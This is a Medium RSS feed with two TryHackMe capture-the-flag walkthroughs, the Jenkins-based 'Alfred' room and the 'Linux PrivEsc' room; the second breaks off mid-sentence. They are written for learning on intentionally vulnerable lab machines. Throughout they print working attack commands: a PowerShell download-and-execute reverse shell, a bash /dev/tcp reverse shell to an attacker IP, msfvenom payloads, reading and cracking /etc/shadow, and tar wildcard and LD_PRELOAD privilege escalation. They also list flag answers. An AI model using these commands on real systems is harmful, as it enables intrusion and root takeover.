<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ayutsede Precious on Medium]]></title>
        <description><![CDATA[Stories by Ayutsede Precious on Medium]]></description>
        <link>https://medium.com/@cyborgtic?source=rss-bacc4cbbfc07------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*VCqH9azIoNNwTA82</url>
            <title>Stories by Ayutsede Precious on Medium</title>
            <link>https://medium.com/@cyborgtic?source=rss-bacc4cbbfc07------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 00:41:14 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cyborgtic/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Alfred: Tryhackme (windows priv escalation)]]></title>
            <link>https://medium.com/@cyborgtic/alfred-tryhackme-windows-priv-escalation-c497800dc2ae?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/c497800dc2ae</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Sat, 11 May 2024 14:33:13 GMT</pubDate>
            <atom:updated>2024-05-11T14:33:13.834Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*agq4llsgAscCQU4y.png" /></figure><p>Alfred — THM</p><p><a href="https://tryhackme.com/room/alfred">Alfred</a> is an interesting room on TryHackMe that consists of exploiting Jenkins to gain an initial shell, then escalate your privileges by exploiting Windows authentication tokens.</p><p>In this walkthrough, you will learn how to :</p><ul><li>Exploit a security misconfiguration vulnerability</li><li>Gain an initial access to the target system using <a href="https://github.com/samratashok/nishang">Nishang</a>’s <strong>Invoke-PowerShellTcp </strong>reverse shell script.</li><li>Switch from a command shell to a meterpreter shell</li><li>Exploit windows authentication tokens to escalate your privileges</li></ul><h3>[Task 1] — Initial access</h3><p>In this room, we’ll learn how to exploit a common misconfiguration on a widely used automation server (<strong>Jenkins </strong>— This tool is used to create continuous integration/continuous development pipelines that allow developers to automatically deploy their code once they made changes to it). After which, we’ll use an interesting privilege escalation method to get full system access.</p><p>Since this is a Windows application, we’ll be using <a href="https://github.com/samratashok/nishang">Nishang</a> to gain initial access. The repository contains a useful set of scripts for initial access, enumeration and privilege escalation. In this case, we’ll be using the <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">reverse shell scripts</a>.</p><blockquote><strong><em>1°) How many ports are open? (TCP only)</em></strong></blockquote><p><strong>Answer:</strong> 3 ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*vcDxSLqKYST-kebo.png" /></figure><p>Nmap Syn Scan</p><blockquote><strong><em>2°) What is the username and password for the login panel? (in the format username:password)</em></strong></blockquote><p>In order to find the login panel’s username and password, we are going to use hydra.</p><p>Nevertheless, before using hydra we first need to find the HTTP method used as well as the parameters involved during the request submission.</p><p>For that, we are going to intercept the request using Burp suite’s Proxy feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*JMQUHVUzSs1UL6Kn.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*e0_yd1R08pLaCFKe.png" /></figure><p>Burp Suite Proxy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ghZ6OhgPRr5426vs.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Xav-MDM2Bk7kVFIS.png" /></figure><p><strong>Answer:</strong> admin:admin ✅</p><p>Nevertheless, a faster way to determine the credentials would simply consist of asking our best friend “Google” :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*HHUyXU5krCxwvw1c.png" /></figure><p>After taking a look at the different webpages, it was clear that the default username was <strong>admin. </strong>However, i struggled a bit before finding the default password. I tried “<strong>password</strong>” but it didn’t work. Then, i found the answer thanks to <a href="https://stackoverflow.com/questions/15227305/what-is-the-default-jenkins-password">stackoverflow</a> \o/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*QSVjAcGUyksme0BE.png" /></figure><p><strong>NOTE📝:</strong> When it comes to find a <a href="https://blog.hubspot.com/blog/tabid/6307/bid/7969/what-is-a-cms-and-why-should-you-care.aspx#what-is-a-cms">CMS</a> or any particular technology’s credentials, it always a good practice to google for default credentials before attempting any brute force attack. This will save a huge amount of time.</p><p><strong>3°)</strong></p><p>Find a feature of the tool that allows you to execute commands on the underlying system. When you find this feature, you can use this command to get the reverse shell on your machine and then run it: <strong><em>powershell iex (New-Object Net.WebClient).DownloadString(‘http://your-ip:your-port/Invoke-PowerShellTcp.ps1&#39;); Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DEFG_0aTdsK6Cz1Z.png" /></figure><p>Jenkins server welcome page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*e66e2QErFz2iVXbx.png" /></figure><p>You first need to download the Powershell script and make it available for the server to download. You can do this by creating an http server with python: <strong><em>python3 -m http.server</em></strong><em>.</em></p><p>For that, we are going to first download <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">Nishang’s <strong><em>Invoke-PowerShellTcp</em></strong></a><em> </em>script which can be used to connect to a standard netcat listening on a port when using the <strong>-Reverse</strong> switch.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*4zHuLKaO1kbzuuj_.png" /></figure><p>Let’s now launch a python web server in order to download the script on the target system.</p><p>Once the Python web server launched, we will use the jenkins server’s <strong>configure</strong> feature in order to configure the project.</p><p><strong>NOTE📝:</strong> Do not forget to specify the Windows command to execute in the <strong>Build</strong> section. Then apply and save.</p><p>The figures below show you that can be done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*L2vCEOwqkuAyf6J-.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*t2ckQu0kF-ws09Sm.png" /></figure><p>After applying and saving the configuration on the <strong>Configuration Tab</strong>, let’s set up a Python web server and a netcat listener in order to download the powershell script and receive the reverse shell respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*5WdvFNkPl451VlYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*UE_aLdd74eKIkMmk.png" /></figure><p>Once the listener and the python server set up, let’s download and run the <strong>Invoke-PowerShellTcp</strong> script using the jenkins server’s <strong>build now</strong> feature:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*uGl7DqFRjy8NwDtS.png" /></figure><p>Great, let’s now take a look at our Python web server and the netcat listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ITkhUHq8h4gEPJdx.png" /></figure><p>Downloading the Invoke-PowerShellTcp script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*8ZxzTozfRPCOqxGv.png" /></figure><p>Receiving a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*KAXQUHUYRveskX6e.png" /></figure><blockquote><strong><em>4°) What is the user.txt flag?</em></strong></blockquote><p><strong>Answer:</strong> 79007a09481963edf2e1321abd9ae2a0 ✅</p><h3>[Task 2 ] — Switching Shells</h3><p>Generating a payload using msfevom:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*r8kDGsaK4acKFngQ.png" /></figure><p>Let’s break down msfvenom’s options:</p><p>-p : the payload to use</p><p>-a : the architecture to use (x86 for 32-bit architecture and x64 for 64-bit architecture)</p><p>-e : the encoder to use (The purpose of encoding a payload is to make it less detectable by anti-virus software).</p><p>-i : the number of times to encode the payload.</p><p>-f : output format to use</p><p>-o : save the payload to a file</p><blockquote><strong><em>What is the final size of the exe payload that you generated?</em></strong></blockquote><p><strong>Answer:</strong> 73802 ✅</p><p>Running a Python HTTP server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*W89HbIceCsurQIT_.png" /></figure><p>Downloading the payload on the target system using <strong>certutil</strong> command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*6JYru6cZ5BBIPeoM.png" /></figure><p>Checking our Python http server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*53fz8zPe5Cv67Par.png" /></figure><p>Setting up a Metasploit handler:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*071reHHRLQyMOitl.png" /></figure><p>Running the payload on the target system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-5kLUSCaaR-Y2u4b.png" /></figure><p>Checking if we got a meterpreter shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*yP57QAJfy82VQNGa.png" /></figure><h3>[Task 3] — Privilege Escalation</h3><p>Now that we have initial access, let’s use <strong>token impersonation</strong> to gain system access.</p><p><strong>Windows uses tokens to ensure that accounts have the right privileges to carry out particular actions</strong>. Account tokens are assigned to an account when users log in or are authenticated. This is usually done by <strong>LSASS.exe</strong>(think of this as an authentication process).</p><p>This access token consists of:</p><ul><li><strong>User SIDs</strong>(security identifier)</li><li><strong>Group SIDs</strong></li><li><strong>Privileges</strong></li></ul><p>Amongst other things. More detailed information can be found <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens">here</a>.</p><p>There are two types of access tokens:</p><ul><li><strong>Primary access tokens:</strong> those associated with a <strong>user account</strong> that are generated on log on.</li><li><strong>Impersonation tokens:</strong> these allow a <strong>particular process</strong>(or thread in a process) to gain access to resources using the token of another (user/client) process.</li></ul><p><strong>For an impersonation token, there are different levels:</strong></p><ul><li><strong>SecurityAnonymous:</strong> current user/client cannot impersonate another user/client.</li><li><strong>SecurityIdentification:</strong> current user/client can get the identity and privileges of a client but cannot impersonate the client.</li><li><strong>SecurityImpersonation:</strong> current user/client can impersonate the client’s <em>security context </em>on the <strong>local system</strong></li><li><strong>SecurityDelegation:</strong> current user/client can impersonate the client’s <em>security context</em> on a <strong>remote system</strong></li></ul><p>Where the <strong>security context</strong> is <strong>a data structure that contains users’ relevant security information</strong>.</p><p>The privileges of an account(which are either given to the account when created or inherited from a group) allow a user to carry out particular actions. Here are the most commonly abused privileges:</p><ul><li><strong>SeImpersonatePrivilege</strong></li><li><strong>SeAssignPrimaryPrivilege</strong></li><li><strong>SeTcbPrivilege</strong></li><li><strong>SeBackupPrivilege</strong></li><li><strong>SeRestorePrivilege</strong></li><li><strong>SeCreateTokenPrivilege</strong></li><li><strong>SeLoadDriverPrivilege</strong></li><li><strong>SeTakeOwnershipPrivilege</strong></li><li><strong>SeDebugPrivilege</strong></li></ul><p><strong>NOTE📝:</strong> The process of impersonating access tokens to elevate our privileges on a system will <strong>depend on the privileges assigned to the account that has been exploited to gain initial access</strong> <strong>as well as the impersonation or delegation tokens available</strong>.</p><p>There’s more reading <a href="https://www.exploit-db.com/papers/42556">here</a>.</p><blockquote><strong><em>1°) View all the privileges using whoami /priv</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*E4YJh0eQ_6wRmd3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*v9d32SeiCUosmMrz.png" /></figure><p>An alternative to <strong><em>whoami /priv </em></strong>consists of using the meterpreter’s <strong><em>getprivs</em></strong> command as follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*TQSz0wj-Byt_a1V2.png" /></figure><blockquote><strong><em>2°)</em></strong><em> You can see that two privileges(</em><strong><em>SeDebugPrivilege</em></strong><em>, </em><strong><em>SeImpersonatePrivilege</em></strong><em>) are enabled. Let’s use the </em><strong><em>incognito module</em></strong><em> that will allow us to exploit this vulnerability.</em></blockquote><blockquote><em>Enter: </em><strong>load incognito</strong> <em>to load the incognito module in Metasploit. Please note that you may need to use the </em><strong>use incognito</strong> <em>command if the previous command doesn’t work. Also, ensure that your Metasploit is up to date.</em></blockquote><p>The<strong> Incognito</strong> module is a built-in meterpreter module that was originally a <strong>standalone</strong> <strong>application </strong>that <strong>allows you to impersonate user tokens after successful exploitation</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*_8j6MfgkCSUJmuYR.png" /></figure><blockquote><strong><em>3°)</em></strong><em> To check which tokens are available, enter the </em><strong>list_tokens -g</strong><em>. We can see that the </em>BUILTIN\Administrators<em> token is available.</em></blockquote><blockquote><em>Use the </em>impersonate_token “BUILTIN\Administrators”<em> command to impersonate the Administrators’ token. What is the output when you run the </em>getuid<em> command?</em></blockquote><p>Let’s first take a look at the help menu of the <strong>list_tokens</strong> command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*EwGd8bDw20QL8Gg0.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*FzoBIiPd8XH3LTJn.png" /></figure><p>Delegation-level tokens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*OeQO53387slKrOzY.png" /></figure><p>Impersonation -level tokens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*0rePu_33xZYjxY3x.png" /></figure><p><strong>Answer:</strong> NT AUTHORITY\SYSTEM ✅</p><blockquote><em>4°) Even though you have a higher privileged token, you may not have the permissions of a privileged user (this is due to the way Windows handles permissions — </em><strong><em>it uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do</em></strong><em>).</em></blockquote><blockquote><em>Ensure that you migrate to a process with correct permissions (the above question’s answer). The safest process to pick is the </em><strong><em>services.exe</em></strong><em> process. First, use the </em>ps <em>command to view processes and find the PID of the services.exe process. Migrate to this process using the command </em>migrate PID-OF-PROCESS</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Y5ZoJof88gvwl5Ps.png" /></figure><blockquote><strong><em>5°) Read the root.txt file located at C:\Windows\System32\config</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-f6ndNSyDXfMuhFH.png" /></figure><p><strong>Answer:</strong> dff0f748678f280250f25a45b8046b4a ✅</p><p>Well done guys 👏!</p><p>That’s all for this Capture The Flag.</p><p>Do not forget to click on the little clap icon below if you enjoyed the content.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c497800dc2ae" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Task 1 Deploy the Vulnerable Debian VM]]></title>
            <link>https://medium.com/@cyborgtic/task-1-deploy-the-vulnerable-debian-vm-c30bb939fc08?source=rss-bacc4cbbfc07------2</link>
            <guid isPermaLink="false">https://medium.com/p/c30bb939fc08</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[linux-priv-esc]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Ayutsede Precious]]></dc:creator>
            <pubDate>Mon, 06 May 2024 01:33:07 GMT</pubDate>
            <atom:updated>2024-05-06T01:33:07.441Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Linux PrivEsc</h3><p>Deploy the machine and login to the “user” account using SSH.</p><p>* If you get an error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WLQ8Lhp20nDpR_KW.png" /></figure><p>Add the command -oHostKeyAlgorithms=+ssh-rsa to your ssh command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sRZL8In_FxxE7Y8_.png" /></figure><p>Run the “id” command. What is the result?</p><p><strong>uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)</strong></p><h3>Task 2 Service Exploits</h3><p>The MySQL service is running as root and the “root” user for the service does not have a password assigned. We can use a <a href="https://www.exploit-db.com/exploits/1518">popular exploit</a> that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.</p><p>Change into the /home/user/tools/mysql-udf directory:</p><p>cd /home/user/tools/mysql-udf</p><p>Compile the raptor_udf2.c exploit code using the following commands:</p><p>gcc -g -c raptor_udf2.c -fPIC<br>gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc</p><p>Connect to the MySQL service as the root user with a blank password:</p><p>mysql -u root</p><p>Execute the following commands on the MySQL shell to create a User Defined Function (UDF) “do_system” using our compiled exploit:</p><p>use mysql;<br>create table foo(line blob);<br>insert into foo values(load_file(&#39;/home/user/tools/mysql-udf/raptor_udf2.so&#39;));<br>select * from foo into dumpfile &#39;/usr/lib/mysql/plugin/raptor_udf2.so&#39;;<br>create function do_system returns integer soname &#39;raptor_udf2.so&#39;;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kkpu14YdUbM5Xo88.png" /></figure><p>Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:</p><p>select do_system(&#39;cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash&#39;);</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*r0354poeZnn60Sfk.png" /></figure><p>Exit out of the MySQL shell (type <strong>exit</strong> or <strong>\q</strong> and press <strong>Enter</strong>) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:</p><p>/tmp/rootbash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Va-un7RqOLCXyANv.png" /></figure><p><strong>Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!</strong></p><p>rm /tmp/rootbash<br>exit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/0*h0qNQovbj3iMNP-K.png" /></figure><h3>Task 3 Weak File Permissions — Readable /etc/shadow</h3><p>The /etc/shadow file contains user password hashes and is usually readable only by the root user.</p><p>Note that the /etc/shadow file on the VM is world-readable:</p><p>ls -l /etc/shadow</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Zk6WshpZLB_R9E8j.png" /></figure><p>View the contents of the /etc/shadow file:</p><p>cat /etc/shadow</p><p>Each line of the file represents a user. A user’s password hash (if they have one) can be found between the first and second colons (:) of each line.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*wQufbqD5tWKoVpxP.png" /></figure><p><strong>use cut command to split the root account string. -d defines the delimiter, -f define the location of string.</strong></p><p>Save the root user’s hash to a file called hash.txt on your Kali VM and use john the ripper to crack it. You may have to unzip /usr/share/wordlists/rockyou.txt.gz first and run the command using sudo depending on your version of Kali:</p><p>john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*e5ACsa0DGGgeTv3e.png" /></figure><p>To unzip the rockyou.txt.gz</p><p>gzip -d/usr/share/wordlists/rockyou.txt.gz and move the file to the desktop (optional).</p><p>Switch to the root user, using the cracked password:</p><p>su root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*kiGtWVOhnRbG237n.png" /></figure><p>What is the root user’s password hash?</p><p>$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0</p><p>What hashing algorithm was used to produce the root user’s password hash?</p><p>sha512crypt</p><p>What is the root user’s password?</p><p>password123</p><p><strong>Remember to exit out of the root shell before continuing!</strong></p><h3>Task 4 Weak File Permissions — Writable /etc/shadow</h3><p>The /etc/shadow file contains user password hashes and is usually readable only by the root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/0*PWAxiRQOsbfeuWxE.png" /></figure><p>Note that the /etc/shadow file on the VM is world-writable:</p><p>ls -l /etc/shadow</p><p>Generate a new password hash with a password of your choice:</p><p>mkpasswd -m sha-512 newpasswordhere</p><p>Edit the /etc/shadow file and replace the original root user’s password hash with the one you just generated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*jZTNL9qENKshPhEM.png" /></figure><p>Switch to the root user, using the new password:</p><p>su root</p><p><strong>Remember to exit out of the root shell before continuing!</strong></p><h3>Task 5 Weak File Permissions — Writable /etc/passwd</h3><p>The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there.</p><p>Note that the /etc/passwd file is world-writable:</p><p>ls -l /etc/passwd</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*SmOJBWq8Tio348n0.png" /></figure><p>Generate a new password hash with a password of your choice:</p><p>openssl passwd newpasswordhere</p><p>Edit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user’s row (replacing the “x”).</p><p>Switch to the root user, using the new password:</p><p>su root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*L970BXsC__TFALUt.png" /></figure><p>Alternatively, copy the root user’s row and append it to the bottom of the file, changing the first instance of the word “root” to “newroot” and placing the generated password hash between the first and second colon (replacing the “x”).</p><p>Now switch to the newroot user, using the new password:</p><p>su newroot</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*oohWPYTGZ220rK38.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/0*IkNkk007pkDK5V1E.png" /></figure><p><strong>Remember to exit out of the root shell before continuing!</strong></p><p>Run the “id” command as the newroot user. What is the result?</p><p>uid=0(root) gid=0(root) groups=0(root)</p><h3>Task 6 Sudo — Shell Escape Sequences</h3><p>List the programs which sudo allows your user to run:</p><p>sudo -l</p><p>Visit GTFOBins (<a href="https://gtfobins.github.io/">https://gtfobins.github.io</a>) and search for some of the program names. If the program is listed with “sudo” as a function, you can use it to elevate privileges, usually via an escape sequence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XbM8grRRpjJx5RI4.png" /></figure><p>Choose a program from the list and try to gain a root shell, using the instructions from GTFOBins.</p><p>For an extra challenge, try to gain a root shell using all the programs on the list!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*aLJFWbxf1_hMxhWw.png" /></figure><p><strong>Remember to exit out of the root shell before continuing!</strong></p><h3>Task 7 Sudo — Environment Variables</h3><p>Sudo can be configured to inherit certain environment variables from the user’s environment.</p><p>Check which environment variables are inherited (look for the env_keep options):</p><p>sudo -l</p><p>LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user’s environment. LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.</p><p>Create a shared object using the code located at /home/user/tools/sudo/preload.c:</p><p>gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c</p><p>Run one of the programs you are allowed to run via sudo (listed when running <strong>sudo -l</strong>), while setting the LD_PRELOAD environment variable to the full path of the new shared object:</p><p>sudo LD_PRELOAD=/tmp/preload.so program-name-here</p><p>A root shell should spawn. Exit out of the shell before continuing. Depending on the program you chose, you may need to exit out of this as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*LDbOcl_jqO8LRNqF.png" /></figure><p>Run ldd against the apache2 program file to see which shared libraries are used by the program:</p><p>ldd /usr/sbin/apache2</p><p>Create a shared object with the same name as one of the listed libraries (libcrypt.so.1) using the code located at /home/user/tools/sudo/library_path.c:</p><p>gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c</p><p>Run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where we output the compiled shared object):</p><p>sudo LD_LIBRARY_PATH=/tmp apache2</p><p>A root shell should spawn. Exit out of the shell. Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*1h8ypbP2UcavGfmA.png" /></figure><p><strong>Remember to exit out of the root shell before continuing!</strong></p><h3>Task 8 Cron Jobs — File Permissions</h3><p>Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.</p><p>View the contents of the system-wide crontab:</p><p>cat /etc/crontab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*U-TNvmLrJFROGiBM.png" /></figure><p>There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.</p><p>Locate the full path of the overwrite.sh file:</p><p>locate overwrite.sh</p><p>Note that the file is world-writable:</p><p>ls -l /usr/local/bin/overwrite.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WehDgectpkryRnjS.png" /></figure><p>Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.</p><p>#!/bin/bash<br>bash -i &gt;&amp; /dev/tcp/10.10.10.10/4444 0&gt;&amp;1</p><p>Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener. If it doesn’t recheck the permissions of the file, is anything missing?</p><p>nc -nvlp 4444</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3LpFpQBXbAcDXraj.png" /></figure><p><strong>Remember to exit out of the root shell and remove the reverse shell code before continuing!</strong></p><h3>Task 9 Cron Jobs — PATH Environment Variable</h3><p>View the contents of the system-wide crontab:</p><p>cat /etc/crontab</p><p>Note that the PATH variable starts with <strong>/home/user</strong> which is our user’s home directory.</p><p>Create a file called <strong>overwrite.sh</strong> in your home directory with the following contents:</p><p>#!/bin/bash</p><p>cp /bin/bash /tmp/rootbash<br>chmod +xs /tmp/rootbash</p><p>Make sure that the file is executable:</p><p>chmod +x /home/user/overwrite.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*AdD2kYImLLIiqNNm.png" /></figure><p>Wait for the cron job to run (should not take longer than a minute). Run the /tmp/rootbash command with -p to gain a shell running with root privileges:</p><p>/tmp/rootbash -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/0*lmrKatlGmZPcxA27.png" /></figure><p>What is the value of the PATH variable in /etc/crontab?</p><p><strong>/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin</strong></p><p>The above PATH variable indicates the absolute path of the scripts has not been defined. We can exploit it by running our own script.</p><p>When crontab runs ‘overwrite.sh’ it scans all the locations of PATH and once the first location matches the PATH crontab will not look for PATH location no more. Therefore we can add a scripts at <strong>/home/user and name it </strong>overwrite.sh.</p><p><strong>Remember to remove the modified code, remove the /tmp/rootbash executable and exit out of the elevated shell before continuing as you will create this file again later in the room!</strong></p><p>rm /tmp/rootbash<br>exit</p><h3>Task 10 Cron Jobs — Wildcards</h3><p>View the contents of the other cron job script:</p><p>cat /usr/local/bin/compress.sh</p><p>Note that the tar command is being run with a wildcard (*) in your home directory.</p><p>Take a look at the GTFOBins page for <a href="https://gtfobins.github.io/gtfobins/tar/">tar</a>. Note that tar has command line options that let you run other commands as part of a checkpoint feature.</p><p>Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:</p><p>msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*r7YfnM0I4e8n-ZYn.png" /></figure><p>Transfer the shell.elf file to <strong>/home/user/</strong> on the Debian VM (you can use <strong>scp</strong> or host the file on a webserver on your Kali box and use <strong>wget</strong>). Make sure the file is executable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*un-JhelVgoWuJF6T.png" /></figure><p>chmod +x /home/user/shell.elf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/0*4gcYLDWFNvT3RKel.png" /></figure><p>Create these two files in /home/user:</p><p>touch /home/user/--checkpoint=1<br>touch /home/user/--checkpoint-action=exec=shell.elf</p><p>When the tar command in the cron job runs, the wildcard (*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.</p><p>Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.</p><p>nc -nvlp 4444</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*L_IN_yVgZpK0KNYw.png" /></figure><p><strong>Remember to exit out of the root shell and delete all the files you created to prevent the cron job from executing again:</strong></p><p>rm /home/user/shell.elf<br>rm /home/user/--checkpoint=1<br>rm /home/user/--checkpoint-action=exec=shell.elf</p><h3>Task 11 SUID / SGID Executables — Known Exploits</h3><p>Find all the SUID/SGID executables on the Debian VM:</p><p>find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2&gt; /dev/null</p><p>command breakdown:</p><p>find: find command</p><p>/ : in / directory</p><p>type f: find type: file</p><p>a: and</p><p>( -perm -u+s -o -perm -g+s \) :file permission, SUID and GUID bit.</p><p>-exec ls -l {} : execute the command ls -l after find the file.</p><p>2&gt; /dev/null : do not display 